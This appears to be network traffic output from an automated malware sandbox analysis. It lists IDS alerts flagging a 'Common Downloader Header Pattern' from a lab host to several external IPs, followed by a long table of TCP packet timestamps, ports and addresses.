Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-14T13:49:38.000947+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49719	158.101.44.242	80	TCP
2024-12-14T13:49:40.659005+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49719	158.101.44.242	80	TCP
2024-12-14T13:49:42.279808+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49722	172.67.177.134	443	TCP
2024-12-14T13:49:44.110337+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49724	193.122.6.168	80	TCP
2024-12-14T13:49:45.721882+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49726	172.67.177.134	443	TCP
2024-12-14T13:49:48.779919+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49730	172.67.177.134	443	TCP
2024-12-14T13:49:49.672852+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49731	193.122.6.168	80	TCP
2024-12-14T13:49:51.782215+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49731	193.122.6.168	80	TCP
2024-12-14T13:49:53.407497+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49736	172.67.177.134	443	TCP
2024-12-14T13:49:54.941404+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49739	172.67.177.134	443	TCP
2024-12-14T13:49:55.032239+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49740	193.122.6.168	80	TCP
2024-12-14T13:49:56.684295+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49742	172.67.177.134	443	TCP
2024-12-14T13:49:59.996584+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49747	172.67.177.134	443	TCP
2024-12-14T13:50:10.797902+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49754	172.67.177.134	443	TCP
2024-12-14T13:50:30.404732+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49767	172.67.177.134	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 14, 2024 13:49:20.391710997 CET	49711	443	192.168.2.6	20.190.181.4
Dec 14, 2024 13:49:20.414130926 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:20.432418108 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:20.433495998 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:20.435956001 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:20.436434031 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:20.436532021 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:20.436548948 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:20.436630011 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:20.439517975 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:20.439739943 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:20.559365034 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:20.602049112 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:20.624567032 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:20.624686003 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:20.624948025 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:20.628365993 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:20.672249079 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:20.675821066 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:20.748187065 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:20.751663923 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:20.752032042 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:20.755280018 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:20.756438017 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:20.756513119 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:20.756566048 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:20.756690979 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:20.759356022 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:20.760299921 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:20.762883902 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:20.838246107 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:20.875271082 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:20.879252911 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:20.883040905 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:20.943770885 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:20.946260929 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:21.066207886 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:21.068305016 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:21.071563959 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:21.074465990 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:21.074528933 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:21.074542999 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:21.074585915 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:21.077181101 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:21.077253103 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:21.135756969 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:21.135874033 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:21.138932943 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:21.196962118 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:21.238500118 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:21.258795023 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:21.266314983 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:21.313580990 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:21.389544964 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:21.394242048 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:21.394340038 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:21.394366980 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:21.438465118 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:21.458544016 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:21.500951052 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:21.585799932 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:21.737570047 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:21.750245094 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:21.762147903 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:21.762770891 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:21.774070024 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:21.858021975 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:21.881989956 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:21.882565975 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:21.894259930 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:21.904000044 CET	443	49712	20.198.119.84	192.168.2.6
Dec 14, 2024 13:49:21.904087067 CET	49712	443	192.168.2.6	20.198.119.84
Dec 14, 2024 13:49:21.904102087 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:21.909977913 CET	49712	443	192.168.2.6	20.198.119.84
Dec 14, 2024 13:49:21.909991026 CET	443	49712	20.198.119.84	192.168.2.6
Dec 14, 2024 13:49:21.910255909 CET	443	49712	20.198.119.84	192.168.2.6
Dec 14, 2024 13:49:21.912962914 CET	49712	443	192.168.2.6	20.198.119.84
Dec 14, 2024 13:49:21.913130999 CET	49712	443	192.168.2.6	20.198.119.84
Dec 14, 2024 13:49:21.913139105 CET	443	49712	20.198.119.84	192.168.2.6
Dec 14, 2024 13:49:21.913253069 CET	49712	443	192.168.2.6	20.198.119.84
Dec 14, 2024 13:49:21.954050064 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:21.955333948 CET	443	49712	20.198.119.84	192.168.2.6
Dec 14, 2024 13:49:21.988097906 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:22.074661016 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.074785948 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:22.079967976 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.080004930 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.080195904 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:22.096386909 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.096482992 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:22.109750986 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:22.114845037 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:22.115710974 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:22.126888037 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:22.150125027 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.230643034 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.235929966 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.236404896 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.247014046 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.303821087 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.344835997 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:22.353599072 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:22.428569078 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.428832054 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:22.433029890 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.433110952 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.433137894 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:22.441390991 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:22.442255020 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:22.443286896 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:22.461138964 CET	443	49712	20.198.119.84	192.168.2.6
Dec 14, 2024 13:49:22.461386919 CET	443	49712	20.198.119.84	192.168.2.6
Dec 14, 2024 13:49:22.461497068 CET	49712	443	192.168.2.6	20.198.119.84
Dec 14, 2024 13:49:22.462255955 CET	49712	443	192.168.2.6	20.198.119.84
Dec 14, 2024 13:49:22.462255955 CET	49712	443	192.168.2.6	20.198.119.84
Dec 14, 2024 13:49:22.462277889 CET	443	49712	20.198.119.84	192.168.2.6
Dec 14, 2024 13:49:22.473509073 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.542687893 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.542946100 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:22.561177969 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.561954975 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.563008070 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.573523045 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:22.693428993 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.734860897 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.758985996 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.759001017 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.759128094 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:22.780391932 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:22.789901972 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:22.807353020 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:22.885678053 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.900240898 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.904246092 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:22.909869909 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.927225113 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.952766895 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:22.953042984 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:22.956480026 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:23.070080042 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:23.076221943 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:23.103701115 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:23.107152939 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:23.121016026 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:23.121149063 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:23.124296904 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:23.191780090 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:23.194315910 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:23.244102955 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:23.266594887 CET	49674	443	192.168.2.6	173.222.162.64
Dec 14, 2024 13:49:23.266597986 CET	49673	443	192.168.2.6	173.222.162.64
Dec 14, 2024 13:49:23.268727064 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:23.268821001 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:23.271843910 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:23.294362068 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:23.297133923 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:23.358042955 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:23.391648054 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:23.416939020 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:23.436450958 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:23.440973997 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:23.486366034 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:23.489547014 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:23.583962917 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:23.584105968 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:23.587186098 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:23.594697952 CET	49672	443	192.168.2.6	173.222.162.64
Dec 14, 2024 13:49:23.609570026 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:23.612577915 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:23.670377016 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:23.670516014 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:23.673651934 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:23.732470989 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:23.776051044 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:23.779145002 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:23.838077068 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:23.850303888 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:23.850403070 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:23.853266954 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:23.899200916 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:23.924964905 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:23.928060055 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:24.198442936 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:24.198537111 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:24.201777935 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:24.299566984 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:24.299582958 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:24.299649000 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:24.300065041 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:24.300168037 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:24.300209999 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:24.313831091 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:24.314408064 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:24.315200090 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:24.315712929 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:24.318439007 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:24.318511963 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:24.362574100 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:24.434144974 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:24.434427977 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:24.435261011 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:24.435914040 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:24.516462088 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:24.519427061 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:24.631407022 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:24.631529093 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:24.631556988 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:24.631599903 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:24.634840965 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:24.635857105 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:24.637583971 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:24.640758038 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:24.708498955 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:24.712272882 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:24.712311029 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:24.759495020 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:24.760938883 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:24.832463980 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:24.942735910 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:24.945774078 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:24.953042030 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:24.953133106 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:24.953154087 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:24.953208923 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:24.958601952 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:24.964294910 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:25.027494907 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.027518034 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.027545929 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:25.027578115 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:25.030941010 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:25.031364918 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:25.065721035 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.080197096 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.085067987 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.150751114 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.151108980 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.260718107 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.263907909 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:25.277461052 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.280705929 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:25.343229055 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.343353033 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:25.347867012 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.347898960 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.347984076 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:25.351958990 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:25.353097916 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:25.353921890 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:25.384748936 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.400481939 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.472397089 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.473645926 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.474545956 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.580310106 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.583544016 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:25.664823055 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.665152073 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:25.668030977 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:25.670490980 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.670509100 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.670557976 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:25.670623064 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:25.672980070 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:25.673131943 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:25.703525066 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.788172960 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.793046951 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.793061018 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.818289042 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.820939064 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:25.980478048 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.984297037 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:25.985155106 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.985228062 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:25.989949942 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.989967108 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:25.990103006 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:26.150101900 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:26.172379971 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:26.219752073 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:26.227540016 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:26.227752924 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:26.228437901 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:26.228930950 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:26.347450972 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:26.347524881 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:26.348234892 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:26.348650932 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:26.364609003 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:26.379566908 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:26.542021036 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:26.545150042 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:26.545387983 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:26.545450926 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:26.556408882 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:26.556432962 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:26.556487083 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:26.561939001 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:26.577867031 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:26.581170082 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:26.581340075 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:26.681866884 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:26.697712898 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:26.701055050 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:26.701066017 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:26.737396002 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:26.740899086 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:26.890146971 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:26.893510103 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:26.897918940 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:49:26.897999048 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:49:26.898014069 CET	443	49707	13.107.246.63	192.168.2.6
